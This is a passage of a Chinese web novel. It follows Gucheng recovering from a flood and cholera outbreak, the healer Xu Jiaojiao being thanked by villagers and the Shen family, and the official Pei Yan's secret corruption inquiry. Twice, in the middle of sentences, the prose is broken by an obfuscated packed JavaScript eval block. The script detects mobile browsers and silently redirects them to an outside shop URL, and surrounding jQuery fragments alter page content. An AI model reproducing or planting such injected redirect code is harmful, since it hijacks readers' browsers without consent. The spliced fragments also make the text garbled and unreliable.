离开草棚，裴宴走在仁心堂略显凌乱的院落中。夕阳的余晖给残破的屋瓦和忙碌的人影镀上一层金边。他的目光掠过远处正在给孩童喂药的许娇娇，她侧着脸，神情专注柔和，与方才在他和沈谦面前那种谨慎守礼的模样，似乎有些不同。 长风悄无声息地跟上来，低声道：“郎主，孟知州请您回官船议事，关于灾后重建的章程……” “嗯。”裴宴收回目光，脸上恢复了惯常的冷峻，仿佛方才那一瞬间的走神从未发生。只是转身离去时，他的步伐比来时似乎更快了些，玄色氅衣的衣角在晚风中划出利落的弧度。 而在草棚里，沈谦透过缝隙望着许娇娇的身影，眼中闪过一丝决定。 这个女子，和他见过的所有女子都不同。不娇柔，不做作，不攀附，像一株在石缝中生长的野草，坚韧而顽强。 他对她产生了不该有的心思，这份心思，现在还不能说。但来日方长。 他缓缓躺下，闭上眼。药效上来了，困意涌来。在沉入梦乡前，他脑海里最后浮现的，是许娇娇那双清澈的眼眸。 一个多月后，笼罩菰城的阴霾终于得到控制。当最后一例新增霍乱病患在三日前绝迹时，仁心堂内，原本挤得满满当当的草棚病区，如今只剩下零星几个康复中仍需观察调养的人。死亡的阴影褪去，生的气息重新在这片饱受摧残的土地上顽强萌发。痊愈的灾民们，带着劫后余生的恍惚与对未来的渺茫期盼，陆续拖家带口，离开仁心堂这个临时的避难所，踏上归家之路。然而家园早已面目全非，断壁残垣，淤泥没膝，空气中弥漫着水退后特有的腥腐气味。重建家园，是另一场更为漫长艰辛的战斗。 沈尚书第，听松堂。 虽然府内低洼处仍有未退尽的积水，但主体建筑无损。此刻，花厅内气氛肃然。沈老侯爷沈渊端坐主位，虽年过花甲，鬓发斑白，但腰背挺直，目光矍铄。下首坐着几位沈氏族老，以及沈淑宁的的父亲沈明沈二老爷、沈谦的几个堂兄弟隔房的老爷等人。沈谦病体初愈，脸色还有些苍白，但也强撑着和堂兄弟们坐在末座。 “……情况大致如此。”沈明刚汇报完沈家各处田庄、铺面在此次水灾和疫病中的损失，数字触目惊心。“所幸人口伤亡不大，各庄子管事回报，佃户因疫病亡故者，已按之前商议，由府里出一份抚恤，连同官府的救助一并发放了。” 沈老太爷沉吟片刻，缓缓开口：“天灾无情，人须有道。我沈氏立足菰城百余年，受乡邻供奉，与地方休戚与共。此次大难，我沈家儿郎，”他目光赞许地看了一眼沈谦，“亦有挺身而出者，此乃家风。然灾后重建，更见担当。” 他顿了顿，声音沉稳有力：“传我的话下去，凡我沈家苕溪沿岸及受灾严重庄子的佃户，今年租子全免。家中房屋倒塌者，可凭里正保书，向各庄头支取木料、茅草，府里补贴一半费用。若有孤寡老弱无力重建者，着各庄头统计上报，由府里统一派人协助。此外，城中灾民安置、粥棚设点、秽物清理，府中需继续出钱出力，不可懈怠。” 一位族老捻须道：“老侯爷仁厚。只是今年租子全免，各处开销又大，府中银钱恐怕……” 沈明接道：“三叔公所虑甚是。但父亲所言乃是大义，亦是长远之计。佃户安居，方能乐业，来年方有收成。眼下虽紧些，可从公中拨一部分，各房再量力凑一些，总能度过。况且，”他看了一眼沈谦，“谦儿此次染疫，多亏仁心堂那位许娘子全力救治，方才转危为安。此事城中已有传闻，我沈家此时更应广施仁义，方能不负这份恩德与名声。” 提到许娇娇，沈谦垂下了眼睫，指尖无意识地摩挲着茶杯边缘。沈老侯爷看了孙子一眼，点了点头：“明儿说得对。恩要报，义要尽。谦儿，你既已大好，便多费心，协助你父亲打理这些灾后安置事宜，也当历练。” “孙儿遵命。”沈谦起身应道。 “堂弟，这次你可出风头了。”三房的一个堂哥用肩膀碰了碰沈谦，小声嘀咕。声音中透着酸气。“那位姓沈娘子当真有本事治疫病？怕不是仁心堂出了力，她白担了虚名吧！莫非仁心堂的那个赵药师和那个医女有什么勾连不成，我听说这女子名声不好，听说她是邢克之人，曾克死了双亲……” “沈辉，你……”沈谦大怒，刚要说点什么。沈辉的兄长开口了，语气严厉：“辉哥儿，还不闭嘴，文远也是你能置喙的。有能耐你怎么不去为百姓出点力……” “肃静，”沈老侯爷目光严厉的扫过众人，不许交头接耳，“那位救治谦儿、又在疫病中立下大功的许娘子，我沈家不可怠慢。待诸事稍定，需郑重酬谢。此事，老二媳妇去斟酌。” 几个堂兄弟挤眉弄眼的一番眉眼官司，沈辉暗恨。他是隔房的，什么事情也是嫡房这支说了算。可他心里不服气，凭什么。 议事又持续了约半个时辰，方才散去。沈谦随着二叔沈明走出花厅，沈明拍了拍侄儿的肩膀：“此次你受苦了，但也长了见识。你父亲前几日还来信问你的情况，得知你在疫情期间的所作所为，很是欣慰。” “劳父亲他老人家垂询，都是儿子应该做的。”沈谦谦逊的道。 与此同时，裴宴已经从临时处理公务的官船搬到了钦差行辕。书房内，气氛却是另一种凝重。 案头堆着厚厚的文书，皆是各地报上的灾情汇总、物资损耗、重建条陈。裴宴刚刚用印，命快马发出呈送京城的奏折。折子里详细陈述了菰城及周边灾情、疫病防治过程、当前困境，并恳请朝廷速拨钱粮以助重建。 他揉了揉眉心，连日不休的操劳让他眼下有了阴影。然而，比起明面上的灾后事宜，更让他心头沉重的，是袖中那份今晨才由皇帝亲信密使送达的密旨。 密旨内容很简单，却字字千钧：江南路贪污行贿一案，线索虽因水灾暂时中断，然国之蠹虫不可不除。着裴宴以巡查灾后重建、安抚地方为名，暗中继续调查江南路之事，搜集实证，密报京城。 裴宴看着密旨，指尖轻轻敲击着桌面。上回将查到的情况已经密报陛下，陛下当时未曾发声，只说让他暂且按下不动，这回的密旨着实有些突然。不过陛下的心思谁人敢揣测。 崔琰此人宦官出身，宋贵妃一党，朝中经营多年，在江南路更是混的如鱼得水，在此次救灾中也积极的很，调度粮草颇有章法。裴宴要不是上回着暗探连日监视，从崔琰的干儿子王兆仁身上发现了端倪，恐怕此人的把柄难以摸到。 上回截获的几笔来路不明的钱粮调度，要不是从王兆仁一个亲信幕僚的口中探得，恐怕裴宴要多费一番周折。还有和一些地方官员暧昧不明的勾连，这看似平静的江南官场之下，简直是铁板一块。 “大人。”长风无声入内，低声道，“孟知州在外求见，请示明日视察城南淤塞河道的安排。还有，沈府大公子派人送来帖子，言及沈老侯爷感念大人辛劳，欲在府中设宴，为大人及诸位同僚接风洗尘，兼表谢意。” 裴宴收起思绪，淡淡道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262646|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉孟知州，按原定计划即可。至于沈府的宴请，”他略一沉吟，“回复沈大公子，就说本官职责在身，宴请不必了。改日本官自当亲往沈府，探望外祖父、外祖母。” “是。”长风领命，却又迟疑了一下，“郎主，还有一事……许娘子今日已离开仁心堂，回柳枝巷的住处了。赵药师说，堂内病患已寥寥无几，许娘子坚持多日，也该回去收拾歇息了。” 裴宴执笔的手微微一顿，墨滴在宣纸上洇开一小团。“知道了。”他语气未变，继续批阅文书，仿佛这只是一个无关紧要的消息。 长风悄悄退下。书房内重归寂静，只有灯花偶尔爆开的细微声响。裴宴放下笔，目光投向窗外。暮色四合，远处菰城的轮廓在渐暗的天光中显得模糊而疲惫。那个总在混乱中保持着奇异沉静的身影，此刻是否已回到她那临水的小院？ 他想起那夜她递来的粗布口罩，想起她专注熬药时的侧影，也想起草棚中沈谦望向她的柔和目光。 不行，一定要想办法打消沈谦的念头，他心头掠过一丝说不清楚的酸意。 八月末，菰城基本恢复了原来的样貌。倒塌的屋舍多数已清理出空地，或搭起了简陋的新棚。淤泥被铲走，堆积在城外指定的地方晾晒、处置。街面上虽仍可见水渍浸染的斑驳痕迹和来不及修补的坑洼，但行人往来，商铺开门，市井的喧嚣与生机，如同遇春的野草，顽强地重新蔓生开来。连着数日的阳光明媚，驱散了积郁已久的潮气，虽天气还十分炎热，但比起酷夏那令人窒息的闷湿，已好了不少。至少，傍晚时分，当那轮白炽的太阳终于恋恋不舍地沉入西边残留着水光的天地线后，晚风便会带来一丝久违的、干燥的凉爽。 柳枝巷深处，许娇娇租住的小院，早已被静尘和静心收拾得干干净净、清清爽爽。洪水未曾直接灌入，但连月的潮气也让屋子里外蒙上了一层霉意。如今门窗洞开，被褥衣物尽数晾晒过，地面墙角仔细清扫擦拭，甚至还用艾草混合着苍术细细熏过，祛除最后的疫病残留气息。院子里，那丛劫后余生的月季，非但没有萎靡，反而因为静尘的精心照料，在这个秋日的早上，爆发出惊人的生命力，碗口大的花朵层层叠叠，深红、粉白、鹅黄交错，开得灿烂而热闹，几乎要压弯了枝条，香气馥郁却不腻人，随风飘散在小小的院落里。 旺财趴在廊檐下它专属的那个旧蒲草垫子旁，头枕着一条前腿，惬意地半眯着眼睛打盹。它也瘦了不少，肋骨隐约可见。疫情最紧张的那段日子，仁心堂人手紧缺，它竟也似通了人性，不再胡乱吠叫惊扰病人，有时还会安静地跟在许娇娇或静尘身后，帮忙看管一下晾晒的药材或衣物，虽然更多时候是在晒太阳，也算出了点力。如今回到安稳的老窝，它整只狗都透着一股松弛慵懒的满足感。 许娇娇坐在院子中央那棵老柳树下的石凳上，面前小石桌上摆着一壶静心刚沏好的、清热祛湿的野菊花茶，还有一小碟刘寡妇带来的、自家炒的南瓜子。她穿着一身半旧的浅青色夏布衣裙，头发只用一根木簪松松挽着，几缕碎发垂在颈边，脸上仍带着大病初愈般的淡淡倦色，但眼神已恢复了往日的清亮平静。连日的辛劳透支极大，回来这两日，她几乎都在昏睡和静养中度过，直到今日，才觉着松快了些。 刘寡妇就坐在她对面的一个小马扎上，穿着一身浆洗得发白的蓝布衫子，头发梳得一丝不苟，在脑后挽了个紧实的圆髻，鬓边簪着一朵小小的白色绒花。她手里慢悠悠地剥着南瓜子，瓜子壳清脆的碎裂声和她略带沙哑的嗓音交织在一起，充满了市井生活的烟火气。 “……所以说啊，这人哪，还得是命硬，经得起摔打。”刘寡妇吐出一片瓜子壳，咂咂嘴，“你看这次，多大的灾，多厉害的瘟，咱们这条巷子，不也全须全尾地过来了？老话说得好，大难不死，必有后福。娇杏你呀，这次积了大德了，菩萨都看在眼里呢！” 许娇娇抿了口菊花茶，微苦回甘，笑了笑：“刘婶可别这么说，都是大家齐心协力的结果。咱们能平安，就是最大的福气了。” 53. 第53章 小许大夫 “那是，那是。”刘寡妇连连点头，又拈起一粒南瓜子，“要我说呐……” 话音未落，院门忽然被“咚咚咚”地敲响了，声音不大，却带着几分急迫。 “谁呀？”静心从厨房窗口探出头，扬声问了一句。 许娇娇刚要起身，静心已麻利地擦了手快步走出：“娇杏你坐着，我去看看。” 门闩拉开，院门打开一道缝。静心看清门外景象，不由怔了怔，随即把门拉得更开些，回头唤道：“娇杏，是……是好多乡亲。” 许娇娇起身走到院中。只见门外密密站着十几个人，有男有女，有老有少，大多穿着打满补丁的粗布衣裳，面容被灾祸与疲惫刻下深深的痕迹，可一双双眼睛却亮得灼人，里面盛满了近乎虔诚的感激。他们手里都提着东西——竹篮里是小心盖着粗布的鸡蛋，小布袋鼓囊囊的或许是豆米，有人拎着一条用草绳串起的腌鱼，最前头一位头发花白的老汉，甚至局促地抱着一只被草绳缚了双脚、正扑腾着翅膀的老母鸡。 领头的老丈一见许娇娇，眼眶瞬间红了，颤巍巍地就要屈膝下拜：“小许大夫！可算找着您了！” “老人家使不得！”许娇娇急忙上前，双手虚扶，“快请起，各位乡亲快快请起，这如何使得？” 老丈被身后一个中年汉子稳稳托住，没能跪下去，身子却仍躬着，声音哽咽：“小许大夫，我们都是城西杏花巷、芦苇坝那边过来的。这次大水，家没了，人也病的病，倒的倒……要不是您和仁心堂的大夫们，我们这些老骨头，还有家里的小伢子，恐怕早就……早就填了沟壑了！” 他这一开口，身后的人群便像开了闸，七嘴八舌，倾诉着劫后余生的庆幸与感激： “是啊！我娘当时上吐下泻，眼瞅着就不成了，就是喝了您让喂的盐糖水，才吊住一口气，撑到吃药！” “我家囡囡发高热抽风，也是您给扎了几针才退下去！” “还有那布罩子和衣裳，您说能防病气，起初我们还嘀咕，后来瞧见真顶用，伺候病人的人倒下的少了！” “官府发粮发药是大恩，可没有您想的那些细致法子，不晓得要多死几多人！” 言辞恳切，目光真挚，那一张张被生活磨砺得粗糙的脸上，此刻焕发着发自内心的光。他们带来的物什或许寒微，却是灾后重建、家徒四壁之时，能掏出的最朴实、最厚重的心意。 许娇娇望着这一张张脸，听着这一句句滚烫的话，连日积累的疲惫，以及心底深处那缕因谣言而生的寒意，仿佛被这真挚温暖的洪流缓缓化开了。她鼻尖微酸，唇角却漾开柔和的笑意，声音清晰而坚定： “各位乡亲父老，快莫如此，真是折煞我了。”她示意静尘静心帮忙扶住几位年长者，“治病救人，本是医者本分。这次灾情能控制住，靠的是朝廷赈济及时，是孟大人、裴大人诸位官爷调度有力，是仁心堂赵药师和所有大夫伙计们拼命，更是咱们大家伙儿自己心齐，互相帮衬着挺过来的。我不过是尽了点微末之力，万万当不起大家这般谢。” 说着，她走到那抱着母鸡的老汉面前，轻轻接过那只惊慌扑腾的鸡，解了草绳，递还给老汉：“阿伯，这鸡您快拿回去，还能下蛋，给家里补身子要紧。”她又环视众人，温声道，“各位的心意，我实实在在地领受了。可这些粮食、鸡蛋，都是大家眼下安身立命、恢复元气最需要的东西，务必带回去。只要看到大家都平平安安，日子一天天好起来，就是给我最好的谢礼了。” 众人哪里肯依，执意要留下东西。一旁的刘寡妇早已抹起了眼泪，这时也帮着劝道：“各位老街坊，娇杏娘子说的是掏心窝子的话。你们的情分她记着了，如今大家都不宽裕，东西带回去，给老人孩子多添一口吃的，也是好的。娇杏这儿有我们这些邻居看着呢，断短不了什么，你们就放心吧！” 好一番推让，许娇娇态度坚决，最终只象征性地收下了一小袋红豆和七八个鸡蛋，又再三道谢，才将千恩万谢的乡亲们送出了门。 院门阖上，巷子里的喧嚷渐渐远去。静心提着那袋轻飘飘却沉甸甸的红豆和鸡蛋，眼圈也红了：“他们……真是太难了。” 许娇娇望着门板，轻轻“嗯”了一声。那些真挚的眼神，那些布满老茧的手，那些含着泪光的感激，深深烙在了她心底。这世间虽有冷箭谣言，有无情灾祸，可总也有这般质朴无华的善意与感恩，如同淤泥深处挣扎冒出的点点新绿，脆弱，却透着压不垮的韧性。 “红豆和鸡蛋收好，”她对静尘道，“晚些熬锅红豆粥，大家分着吃。这是乡亲们的心意，一丝一毫都不能糟蹋。” 刘寡妇拍着腿感叹：“瞧瞧！这才是真真的功德！外头那些烂舌根的，还敢胡吣什么妖女、晦气？我呸！让他们睁眼瞧瞧，啥叫人心所向！” 许娇娇只是微微一笑，没有接话。谣言或许永不会绝迹，但行得正，立得直，俯仰无愧，时光自会沉淀出真伪。 日头西斜，柳枝巷家家户户升起袅袅炊烟。小院的厨房里，红豆粥的香气渐渐弥漫开来。静心守着灶火，静尘归置着晾晒好的药材。许娇娇坐在堂屋窗下，借着天边最后一点余光，翻阅着从仁心堂带回的、关于南方疫症防治的医书，不时提笔记录。此番经历，让她深感自身所学尤有不足，尤其是应对大规模疫病的经验与系统方略，亟需钻研积累。 脚边的旺财忽然竖起耳朵，喉间发出低低的“呜”声。 几乎同时，院门外传来了敲门声，这次不疾不徐，只叩了三下，清晰而节制。 静尘放下药材，看向许娇娇。许娇娇合上书卷，心下微诧——这个时辰，会是谁？ 静心已起身去应门。门开处，站着两个意料之外的人。 为首者是沈府大公子沈谦身边得用的长随沈安，许娇娇在仁心堂见过几面。他身后跟着个小厮，手里捧着个尺许见方的红木雕花匣子。 沈安一见许娇娇，立刻躬身长揖，礼数周全：“许娘子安好。小人奉我家大公子之命，特来拜谢娘子日前救命大恩。” 许娇娇忙侧身避过，还了半礼：“沈管事太客气了，沈郎君有心。快请里面坐。” “不敢叨扰娘子清静。”沈安笑容得体，摆手止步，“大公子吩咐，此乃一点微末心意，聊表谢忱，万望娘子笑纳。”说着示意小厮将匣子奉上。 匣盖开启，里面并非金银珠玉，而是整套上好的文房四宝：一支紫毫湖笔，莹润如玉；一方龙尾歙砚，纹理细腻；一锭漆烟古墨，幽香隐隐；外加一沓质地上乘的玉版宣。旁边还搁着一个青色锦囊。沈安解释道：“这囊中是五十两银子。大公子特意交代，知娘子品性高洁，必不喜俗物酬谢。此银并非谢仪，而是念及娘子此次救治灾民，损耗必多，自身清简，特备作日后行医济世、采买药材的本钱，略尽沈家心意。” 这番话情理兼备，措辞妥帖，既全了感激之情，又顾全了许娇娇的立场，连行医济世的名头都预备得妥当，让人难以推拒。尤其是那套文房，寓意深长。赠笔墨纸砚与一位曾被污为“妖女”的医者，无疑是种含蓄而有力的认可与尊重。 许娇娇沉吟片刻。沈家姿态摆得如此周全，若再坚辞，反显不近人情，亦令沈谦难做。她思量着开口：“沈郎君与老太爷、夫人厚爱，我实在愧不敢当。救治病患，本是医者本分。这套文房，我便厚颜收下，感念沈家高义。至于银两……”她顿了顿，“眼下确需添补些药材，便暂借二十两，余下三十两还请沈管事带回。待我手头宽裕，定当归还。沈府之邀，容我稍作整顿，必当亲往拜谢。” 沈安似早有所料，笑容未变，从善如流：“娘子心意，小人定当回禀。这银子您先用着，还不还的，来日方长。既如此，小人便不打扰娘子休息了。”言罢，再行一礼，带着小厮悄然离去。 院门再次关上。静心咋舌：“沈家果然是高门大户，行事真是周全。”说着一脸的与有荣焉，“我们娇杏就是厉害，看看，就连尚书府第都如此礼遇。” 静尘却面有忧色，看向许娇娇：“娇杏，沈家这般作为，恐怕……” “我晓得。”许娇娇轻声打断，目光落在那只红木匣上，“沈家感激是真，顺势而为也是真。经此一事，沈家若再因旧日谣言疏远我，反落人口实。如今这般，既酬了恩，又全了名，一举两得。”她伸手取出那支紫毫笔，笔杆温凉，触手生润，“至于沈大公子……”眼前掠过仁心堂草棚中那双温和专注的眼眸，她轻轻摇了摇头，将笔妥帖放回匣中，“且行且看吧。” 接下来几日，柳枝巷的这小院门前，着实热闹了一阵。携着心意上门致谢的乡邻络绎不绝，有衣衫褴褛、面色犹带病气的贫苦人家，也有穿戴整齐些、瞧着家境尚可的。许娇娇皆以同样的温和与坚定应对，将大部分馈赠婉言劝回，只偶尔收下些实在推却不得的瓜果菜蔬或零星吃食，从不沾银钱贵重之物。一来二去，巷里巷外都知晓了这位小许大夫的品性，敬佩之余，上门的人潮也渐渐稀落，日子复归平宁。 这一日，天气晴好，秋阳已褪了酷暑的燥烈，暖融融地洒在院子里。静尘和静心一早便相约着去了瓦市，说要添置些过秋的针头线脑，并看看有无便宜的布匹，给三人裁两身厚实些的秋衣。许娇娇乐得清静，搬了张小杌子坐在廊檐下，就着明亮的天光，仔细分拣、晾晒前几日从仁心堂带回的一些草药样本，对照医书，默默记诵着性状功效。 旺财趴在脚边打盹，肚皮随着呼吸轻轻起伏。巷子里偶有挑担的货郎吆喝声远远传来，更衬得小院一派静谧。 “娇杏娘子在家不？”熟悉的嗓音带着笑意在院门外响起，是刘寡妇。 许娇娇抬头应道：“在呢，刘婶快进来，门没闩。” 刘寡妇利落地推门进来，手里还牵着她的儿子阿虎。阿虎约莫七八岁年纪，虎头虎脑，因着前些日子灾情，也清减了些，但一双眼睛乌溜溜的，精神头很足。他有些腼腆地躲在母亲身后，探头探脑地朝许娇娇看。 “阿虎，叫人呀。”刘寡妇轻轻推了儿子一下。 “小许姐姐……”阿虎小声叫了一句，立刻又缩了回去。 许娇娇笑着应了，起身去屋里抓了一小把之前晒的、没什么药性的甜草根递给阿虎：“拿去含着玩，甜的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269255|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿虎眼睛一亮，看向母亲，见刘寡妇点头，才小心接过来，脆生生道：“谢谢小许姐姐！”然后便乖乖跑到一边，蹲在旺财附近，一边好奇地打量狗，一边慢慢嚼着草根。 刘寡妇自己熟门熟路地搬了个小马扎，在许娇娇旁边坐下，顺手拿起簸箕里的一把艾草帮着整理，嘴里也不闲着：“静尘和静心两位师父出门了？就你一个人在家，倒也清净。” “她们去瓦市了，我正好理理这些药材。”许娇娇手里不停，随口应着。 刘寡妇是个闲不住的，手里忙着，眼睛也没歇着，四下里打量了一下收拾得井井有条的小院，目光便不经意地飘向了隔壁墙头。她忽然压低了些声音，带着点邻里间分享秘密的神态，朝许娇娇这边凑近了些： “哎，娇杏，你平日忙，大概没留心。咱们巷子东头，靠近水井那块，两个月前不是搬来一户姓崔的人家？就那白墙黑瓦、门脸儿挺齐整的那户。” 许娇娇手上动作微缓，回想了一下。她这几个月不是忙着在张记坐诊，就是困于疫病之事，对巷子里的变化确实不甚留意，只恍惚记得是有户新搬来的人家，但未曾打过照面。 “好像有点印象，崔家？是做何营生的？”她顺着话头问。 “可不就是！”刘寡妇来了谈兴，手里的艾草杆子轻轻点着，“这家子人，说稀奇也不算太稀奇，说普通吧，又总觉得有点……不大一样。” 她顿了顿，见许娇娇抬眼看她，便继续道：“当家的是个四十来岁的汉子，姓崔，单名一个旺字，人看着倒是厚道模样，话不多，说是在城南的码头上做事，具体做些什么，也不大清楚。他家娘子罗氏，年纪看起来要小很多，模样十分周正，脾性看着也和气，平日深居简出的，不大与巷子里其他媳妇婆子们扎堆闲聊。他们有个闺女，叫崔婉儿，今年好像十三四了，生得十分水灵，快赶上娘子了。个子比娘子要矮那么一点，柳叶眉，杏仁眼，皮肤雪样的白，说话轻声细语，见了人也总是微微低着头，礼数周全得很。偶尔见她出门买菜或是浆洗衣裳，巷子里那些半大小子，眼睛都看直了。” 刘寡妇说着，自己先笑了起来，又摇摇头：“不过啊，这崔家搬来两个月，除了必要的招呼，跟左邻右舍走动得极少。崔家娘子偶尔在井边碰见，也就客气几句，从不深谈。崔家那闺女更是大门不出二门不迈的，比好些人家的小姐还讲究。他家还有个老婆子，据说是崔掌柜的远房姑母，来帮着料理家务的，也是不多言不多语的。” “许是人家喜静，或是初来乍到，还不熟悉。”许娇娇将挑好的药材放进另一个簸箕，语气平和。 “起初我们也这么想。”刘寡妇声音压得更低了些，带着点神秘，“可时间长了，总有些细枝末节让人琢磨。比如，他家虽不算大富大贵，但吃穿用度瞧着比一般掌柜人家要精细些。崔家娘子手腕上戴的那只银镯子，花样可不像本地常见的。还有一次，我偶然瞧见他家晾晒的衣裳里，有一件男子外衫的料子，那光泽、那纹理，绝不是普通绸缎庄伙计能穿得起的。再有……” 她左右看了看，确认院子里只有她们俩和阿虎，才悄声道：“有几回深夜，我好像听见隔壁有轻轻的、像是叩门的动静，还有压得极低的说话声，很快就没了。问过斜对门早起做豆腐的王老汉，他说也恍惚听到过一两次，还看见过有黑影匆匆从崔家后巷那边离开，看身形不像崔旺。” 许娇娇听到这里，分拣药材的手彻底停了下来。她抬起眼，看向刘寡妇：“刘婶的意思是……？” “我没什么意思，”刘寡妇连忙摆手，脸上也有些讪讪，“就是觉得有点蹊跷，跟你念叨念叨。许是我想多了，人家亲戚走动，或是崔旺那边有什么急事交代，也说不定。这崔家人平日待人接物倒没什么失礼的地方，崔旺见人总是笑呵呵的，崔家娘子前几日还送了我家阿虎两块新样的糕饼，说是老家捎来的。” 刘寡妇说着，自己又笑了起来：“瞧我，就是这张嘴闲不住，东家长西家短的。许娘子你可别往心里去，兴许就是普通一户老实本分的人家，是咱们巷子太久没搬来新邻居，大伙儿好奇罢了。” 许娇娇重新低下头，继续整理药材，长长的睫毛遮住了眼中的神色。她声音依旧平静：“邻里间多了解些也是常情。只要不妨碍他人，各过各的日子便是了。” 话虽如此，刘寡妇提及的几点不寻常之处，却像几颗小小的石子，轻轻投进了她原本平静的心湖，漾开几圈微不可查的涟漪。在这刚刚经历过动荡的菰城，在这看似平静的柳枝巷，一户低调得有些过分、背景似乎略有模糊的新邻居……是巧合，还是别有什么缘故？ 她不禁想起远在水月庵的水仙姑和归平县的王大官人来，以及可能仍在暗中窥伺的麻烦。多一分留意，总不是坏事。 阳光静静地洒在院落里，晒得草药散发出混合的清香。阿虎和旺财不知何时玩到了一处，孩子轻轻摸着狗的脑袋，狗温顺地摇着尾巴。刘寡妇又开始絮絮地说起巷尾李家的母鸡最近不下蛋的趣事。 许娇娇听着，偶尔应和一声，心思却有一半飘了开去。 54. 第54章 撞见 八月的菰城，终于彻底从水患的阴影中挣脱出来。 洪水退尽的痕迹还随处可见——墙脚残留着深褐色的水线，街角堆积着未及运走的淤泥，几处坍塌的房屋废墟尚未清理完毕，空气中依旧飘散着一股若有若无的潮腐气味。但街上行人已恢复了往日的神态，小贩的吆喝声、孩童的嬉闹声、车马的辘辘声，重新交织成市井生活该有的喧嚣。只是仔细看去，每个人脸上或多或少都带着一丝劫后余生的疲惫，步履间也多了几分重建家园的沉重。 这日清早，许娇娇和静尘简单用了些清粥小菜，便收拾妥当，出了柳枝巷，往张记生药铺去。 一路行来，触目所及，皆是灾后重整的景象。临街的铺面大多已开门营业，有的门板上还残留着水渍浸出的斑驳霉点，掌柜伙计们正忙着将受了潮的货品搬出来晾晒。偶有几处坍塌严重的屋舍前，主人家正红着眼眶清理瓦砾，邻里们三三两两地帮着忙。 “昨日听刘大娘说，城南有几户人家，房子塌了，人也没了……”静尘低声叹道，声音里满是悲悯。 许娇娇沉默地点点头。她想起仁心堂那些逝去的面孔，心头依旧沉甸甸的。天灾无情，生命脆弱如草芥，纵有医术，能救回的终是有限。 转过两条街，张记生药铺的招牌便映入眼帘。 铺门大敞着，里头传来窸窸窣窣的动静。许娇娇迈步进去，眼前的景象让她心头一紧。 铺子里一片狼藉。靠墙的药柜东倒西歪，许多抽屉散落在地，里头原本分门别类码放整齐的药材，如今混作一团，浸泡过水后又被晾干，大多已辨不出原样，散发出混杂的、变了质的药味。地面虽已清扫过，仍能看到深深的水渍印痕。柜台被水泡得发胀变形，裂开了几道缝隙。原本悬在堂中的“妙手回春”匾额歪斜在墙角，一角已破损。 王氏正蹲在一堆晒着的药材旁，拿着簸箕仔细挑拣，听到脚步声，抬起头来。不过月余未见，她整个人瘦了一大圈，眼窝深陷，面色蜡黄，眼角还带着未干的泪痕。见到许娇娇和静尘，她忙站起身，扯出个勉强的笑容：“娇杏，静尘，你们来了。” “王婶。”许娇娇快步上前，握住她冰凉的手，“您受苦了。” 这一句关切，让王氏强撑的坚强瞬间溃散，眼泪刷地流了下来：“没、没事……人还在，铺子还在，就是……”她环顾满目疮痍的铺面，哽咽难言，“就是这些药材……半辈子的心血，还有刚进的货，全、全泡了……” 静尘也红了眼眶，轻抚王氏的背：“王婶别难过，只要人平安，东西总能再置办起来的。” 正说着，张东家从后堂掀帘出来。他比王氏更显憔悴，头发白了大半，背也佝偻了几分，手里拿着一本湿了又干、皱巴巴的账册，见到许娇娇，眼中闪过一丝复杂的神色，有欣慰，也有苦涩。 “张伯。”许娇娇恭敬行礼。 张东家摆摆手，声音沙哑：“来了就好。铺子成这样，让你们见笑了。” “张伯千万别这么说。”许娇娇忙道，“水患无情，谁也没料到会如此严重。我和静尘师姐今日来，就是想看看有什么能帮忙的。” 张东家叹了口气，将账册放在尚算完好的桌角：“万大夫前日回老家了。他老家在湖州乡下，这次水灾也遭了殃，房子塌了半边，老母亲受了惊，一病不起。他递了话，说至少要等家里安顿好了才能回来。” 许娇娇心头一沉。万大夫医术老道，为人厚道，是张记的顶梁柱之一。他这一走，铺子里的人手就更紧了。 “廖大夫呢？”她问。 “廖大夫家里还好，就在城北，地势高，没怎么进水。”王氏擦了擦眼泪，接口道，“可他父亲年事已高，这次受了惊吓，也需要人照顾。这几日他都是家里铺子两头跑，累得够呛。今日一早就去城外采药了，说看看有没有被水冲出来还能用的草药。” 张东家补充道：“陈平那小子，我打发他去邻县各药材行转转，看能不能收些便宜的药材应急。铺子里现在只剩下阿福一个伙计，正忙着在后院晒那些还能救一救的药材。” 他顿了顿，看向许娇娇，眼中带着歉意：“娇杏，你前些日子受累了，本不该再劳动你。可眼下这情形……” “张伯，我既是铺子里的人，自然该出力。”许娇娇打断他，语气坚定，“药材鉴别、分拣、炮制，这些我都熟。静尘师姐也能帮忙做些细致的活计。” 静尘也点头：“东家，王婶，你们千万别客气。有什么我们能做的，尽管吩咐。” 王氏的眼泪又涌了出来，这次是感动的：“谢谢，谢谢你们……” 于是，三人不再多言，挽起袖子便开始忙碌。 许娇娇先仔细查看了铺内各处药材的受损情况。水泡过的药材，大多已霉变或药性流失，勉强晒干的也大多色泽暗淡、气味不正，不堪再用。只有少数存放在高处、密封较好的药材，如一些根茎类和矿物类药材，尚算完好。 她将还能用的药材一一拣出，吩咐阿福小心搬到后院继续晾晒通风。对于那些已明显变质报废的，则与静尘、王氏一起，用竹筐装起，准备集中焚烧处理——这是防止霉变药材滋生疫病传播的必要之举。 静尘心细，负责清理药柜抽屉。她将每个抽屉都仔细擦拭干净，曝晒消毒，又用艾草熏过，以防残留的湿气霉气污染新进的药材。 